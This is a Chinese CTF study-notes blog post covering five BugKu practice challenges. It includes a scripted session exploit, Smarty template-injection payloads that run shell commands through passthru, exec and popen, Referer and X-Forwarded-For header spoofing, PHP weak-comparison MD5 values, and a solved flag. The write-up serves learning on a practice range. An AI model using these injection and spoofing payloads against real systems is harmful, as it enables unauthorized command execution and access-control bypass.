BUGKU-CTF入门笔记

目录

21.速度要快

22.聪明的php

23.你从哪里来

24.MD5

25.程序员本地网站


21.速度要快

这题也是一个需要脚本来跑的题目,进去查看网页源码,提示了传入的参数是margin,传入的值是返回头中flag里base64解码后的值,人工去传入的话不够快,所以需要脚本来跑。

import requests 
import base64 
s=requests.session() 
url = r'http://114.67.175.224:16913/' 
parm = s.get(url).headers 
str1 = base64.b64decode(parm['flag']) 
str2 = base64.b64decode(repr(str1).split(':')[1]) 
data = {'margin': str2} 
flag = s.post(url, data=data) 
print(flag.text)

22.聪明的php

知识点补充:

php命令执行函数:

exec — 执行一个外部程序

passthru — 执行外部程序并且显示原始输出

proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。

popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

proc_terminate — 杀除由 proc_open 打开的进程

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

system — 执行外部程序,并且显示输出

scandir 列出指定路径中的文件和目录

eval — 把字符串作为PHP代码执行

assert --函数直接将传入的参数当成PHP代码执行

linux下查看文件:cat tac more less head tail nl static-sh paste od bzmore bzless

php文件读取函数:print_r() fread() fgets() vardump()

拿到这题一开始是很懵的,因为题目告知flag藏在一个随机变化的文件名里,而且要传入一个参数。

常规的方式来了一套,没有任何办法,尝试传入一个参数,?a=1,返回一个界面。然后就只知道有这几个过滤,然后就不知道怎么办了。

看师傅的writeup后,发现这是一个模块注入的题,smarty模块注入!前面做过flask模块注入,我用flask的payload注入这个smarty中发现不管用,后面才知道其实是代码执行的问题,前面补充了一些知识点,和payload,以及这次模块注入的经验,感觉还是有收获。于是自己根据过滤后的函数构造了几种payload:

?parm={passthru('ls /')}

?parm={exec('ls /')}

?parm={fread(popen("ls","r"),22222)} //22222是为了显示出多少字符。

?parm={var_dump(scandir("/"))} //查看

?parm={print_r(scandir("/"))}

最后找flag文件也找了很久,它不在当前目录下,要回退三级才有。flag{3b4823a21c9416991cae90f95e9a6432}

于是最终这题的payload:?parm={passthru(’tac ../../../_32217‘)} //用tac、head、sort都行,cat被过滤了。

23.你从哪里来

这题刚开始进来提示“are you from goole?”,按照正常流程走了一遍查看网页源码,发现没有信息,然后开始bp抓包分析。

我最开始以为的是修改ua,结果跑了一遍ua字典,发现返回结果都一样,这里我刚开始没有理解题意,其实是利用Referer字段,从www.google.com来即可出现flag,这种也算一种积累题吧,考察是否理解Referer字段的含义。payload就是添加一个Referer:www.google.com字段。(Referer字段的大概意思就是来源的意思,比如你从百度来一般会有一个www.baidu.com,或者从B站来就会有一个www.bilibili.com等等)

24.MD5

题目提示是MD5碰撞,让我们输入一个参数a并传入对应的值,经过md5加密后与预定的MD5值进行对比碰撞,主要考察 php弱类型比较(a==b),所以只需要MD5加密后是0exxxxxx开头的任何值都行,(弱类型比较一般是:0exxx会当成0进行比较)所以简单输入一个a=s878926199a,flag就出现了。

以下还有几个MD5后是0e开头的,可以积累下来240610708、s155964671a、s214587387a、s878926199a等等。

25.程序员本地网站

这题和前面第6题本地管理员很相似,还比它简单,这里推荐大家一个bp工具,burpfakeIP,操作便捷,很方便。这题盲猜是过滤了X-forwared-for字段,然后考察其他字段,但是fakeIP直接全覆盖,两字儿:省心!

编完上边那段话我就去试了以下X-forwarded-for字段,结果还真行!疯狂打脸。

 注:本文涉及的所有地址均来源于bugku靶场,仅用于个人笔记保存,请勿转载,如有错误请指教。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值